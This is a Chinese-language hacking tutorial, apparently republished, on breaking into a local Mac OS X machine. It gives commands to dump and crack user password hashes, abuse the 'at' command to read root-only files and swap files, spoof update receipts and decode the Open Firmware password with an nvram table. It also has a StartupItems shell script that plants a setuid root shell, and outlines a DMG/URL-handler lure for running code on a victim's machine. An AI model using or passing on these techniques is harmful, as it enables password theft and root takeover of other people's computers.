黑客提供入侵本地Mac OS X的詳細過程
本文從提升權限漏洞的一系列巧妙的方法來繞過受保護的Mac OS X。有些已經被處于底層控制,但由于它們存在著更多的認證和修補程序,我們不妨讓這些提供出來,以便需要的人學習它們。雖然我不只是要利用腳本,而且之后我將解釋可以做哪些事情,讓你利用這些技巧能夠充分地進行研究。
破解用戶密碼
在過去的日子里你只需執行“nidump passwd”,并獲得所有用戶密碼加密的一個DES清單。還有幾種方法可以恢復用戶密碼,Mac OS X在/etc/shadow或/etc/master密碼文件中不存儲密碼。但是,有一種方法可以恢復所有用戶的密碼哈希。
Mac OS X使用NetInfo處理用戶賬戶。該密碼哈希存儲在/var/db/shadow/hash/(guid)。每個用戶都有自己的哈希文件,要獲得一個用戶清單及其相應產生的uid(guid),嘗試:
local: user$ nireport / /users name generateduid uid | grep -v NoValue
admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501
orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502
test C82D45B7-6422-11D9-853D-00039367EBAE 503
因此,“admin”用戶的密碼存儲在/var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE.
現在可以作為Root只讀這個文件,當然,我們也有一些竅門可以嘗試,讓你閱讀這些文件。但是,首先要說的是你目前已擁有Root權限。
# cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8
00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634F0D412BD764FFE81AAD3B435B5
1404EED033E22AE348AEB5660FC2140AEC35850C4DA997
這個巨長的字符串包含兩個相同的密碼哈希。第一個64個字符組成的SMB散列(這是Windows使用的文件共享,即使沒有打開)這實際上是放在一起的兩個32個字符的MD4散列。
最后40個字符組成了SHA1哈希。你一旦恢復這個文件,所有剩下的工作就是正確地格式化這個文件并通過Ripper或Lepton's Crack進行破解。
SMB 哈希:
admin:209C6174DA490CAEB422F3FA5A7AE634:F0D412BD764FFE81AAD3B435B51404EE
orb:6FFB224FB592476B2230862E220937DA:4B881A967FE694FBAAD3B435B51404EE
test:0CB6948805F797BF2A82807973B89537:01FC5A6BE7BC6929AAD B435B51404EE
SHA1 哈希:
admin:D033E22AE348AEB5660FC2140AEC35850C4DA997
orb:23119F5947DA61A815E7A1CC2AF9BDB8C19CAF1F
test:A94A8FE5CCB19BA61C4C0873D391E987982FBBD3
通過Root讀取/usr/bin/at
這個允許你作為root身份讀取/usr/bin/at并分析存在的漏洞。使用這一招,你可以閱讀各種敏感文件,包括用戶密碼哈希、臨時交換文件、.bash_history文件等。
這將允許你讀取由“admin”用戶所執行的命令列表:
local: user$ id
uid=503(test) gid=503(test) groups=503(test)
local: user$ ls -al /users/admin/.bash_history
-rw------- 1 admin staff 1259 12 Apr 2010 /users/admin/. bash_history
local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:
Permission denied
local: user$ at -f /users/admin/.bash_history now+1minute
czy a011afa33.000 will be executed using /bin/sh
local: user$ cat /var/at/jobs/a011afa33.000
只要你有權使用本地機器,你可以閱讀所有文件的哈希值:
at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute
敏感的交換文件
還有另一種方法就是,使用臨時交換文件恢復密碼。包括FileVault、Keychain、login和其它存儲在/var/vm/各種敏感數據交換文件,這些文件很大,它需要一些聰明的Unix命令才能夠提取其中有用的東西。然而,很多時候用戶名和密碼以純文本方式存儲。
嘗試一下你自己的機器(核實swapfile1、swap-file2等)。
# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname
每次機器重啟之后,這些交換文件將被清除。
當然,這些文件只能由root讀取。你可以使用“at”漏洞,將這些交換文件復制到臨時位置,然后使用上面的命令來解析這些文件。
欺騙軟件更新
Mac OS X有一個方便的工具,可以對安全更新軟件和軟件補丁進行自動檢查更新。如果你有機會獲得一臺機器,你可以利用這種方式進行欺騙,以為你已經安裝了特定的軟件更新和補丁。
檢查/Library/Receipts/目錄,創建一個與其中一個更新包和軟件更新相同名字的文件,以替代它。
恢復開放固件密碼
許多公共計算機,特別是商業網(網吧),使用特殊的安全軟件或跟蹤裝置以阻止你的一些活動,甚至要求你按小時支付。通常,你可以重啟計算機進入開放固件并使用系統的單用戶模式,要么僅僅啟動到一個外部設備,例如,將Mac OS X復制并安裝在你的Mp3或Mp4設備里面。不幸的是,越來越多的計算機都有了開放固件密碼的保護措施,這需要你首先驗證所做的這些事情。
如果你擁有root權限訪問終端,請嘗試輸入nvram安全密碼。這應該顯示出一個字符串,即開放固件密碼的異十六進制編碼。這不是加密的,它只是模糊處理。
nvram security-password
security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de
密歇根大學MacSIG小組編寫一個C腳本,能夠生成字符串作為使用開放固件的密碼:
http://macosx.si.umich.edu/files/ofpwgen.c
使用這個你應該能夠通過字符串匹配的nvram security-password從而找到密碼。你也可以使用下面內容作為參考:
nvram security-password
a b c d e f g h i j k l m
%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7
n o p q r s t u v w x y z
%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0
A B C D E F G H I J K L M
%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7
N O P Q R S T U V W X Y Z
%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0
1 2 3 4 5 6 7 8 9 0 ! @ #
%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89
$ % ^ & * ( ) + = - _ } {
%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1
當你用這個密碼,你就可以啟動到單用戶模式或重啟到你自己的MP3/MP4上存儲的操作系統。
惡意啟動項目的利用
如果/Library/StartupItems目錄沒有被創建,對于某些軟件則需要創建它,以便機器重啟時能夠運行程序。這些腳本由root運行。往往寫得不好的軟件在安裝時將創建到此目錄中,并允許任何用戶使用該目錄中的文件。人們可以編寫一個惡意腳本,刪除該目錄,重啟計算機,并能夠以root身份執行腳本。
ls -al /Library/StartupItems/
total 0
drwxrwxrwx 3 root admin 102 25 Apr 12:15 .
drwxrwxr-x 39 root admin 1326 26 Apr 09:28 ..
如你所見,該目錄的模式是chmod 777 ——這意味著我們可以對它寫入文件。在此目錄中,寫一個相同名稱的shell腳本作為目錄所包含的文本:
#!/bin/sh
cp /bin/sh /etc/.rewt
chown root /etc/.rewt
chmod 4755 /etc/.rewt
然后,訪問的StartupParameters.plist所包含的文本如下:
{
Description = "NameOfScript";
Provides = ("NameOfScript");
OrderPreference = "None";
}
下次重啟機器,它會執行你寫好的shell腳本。這個特殊的腳本將在/etc/.rewt里面建立一個suid root。
URL處理程序漏洞利用
有一些Mac OS X安全問題與URL處理有關。
通過這些技巧,你能夠在受害者機器中執行代碼,加載任何Web鏈接。
其基本思路是引誘用戶下載并安裝一個DMG文件,然后嘗試運行DMG文件中存儲的代碼。
你可以編寫一個HTML文件,通過Javascript或一個meta刷新標記自動重定向到一個特定的URL。
DMG文件內容可以包含一個特制的應用程序調用Fun.app,它可以自動打開一個新的URL處理程序。
其它有趣的還有:x-man-page://、telnet://、ssh://、ical://、addressbook://、itms://、mms://等等。
尾聲
本文上述的利用方案并不是所有,包括過去數年的漏洞攻擊并沒有提及到。如果你需要針對的是遠程系統執行入侵任務,那么,你需要更多的思路進行研究,它也存在著更多的靈活性和竅門可以提供我們應用,我們需要積極地發掘它們。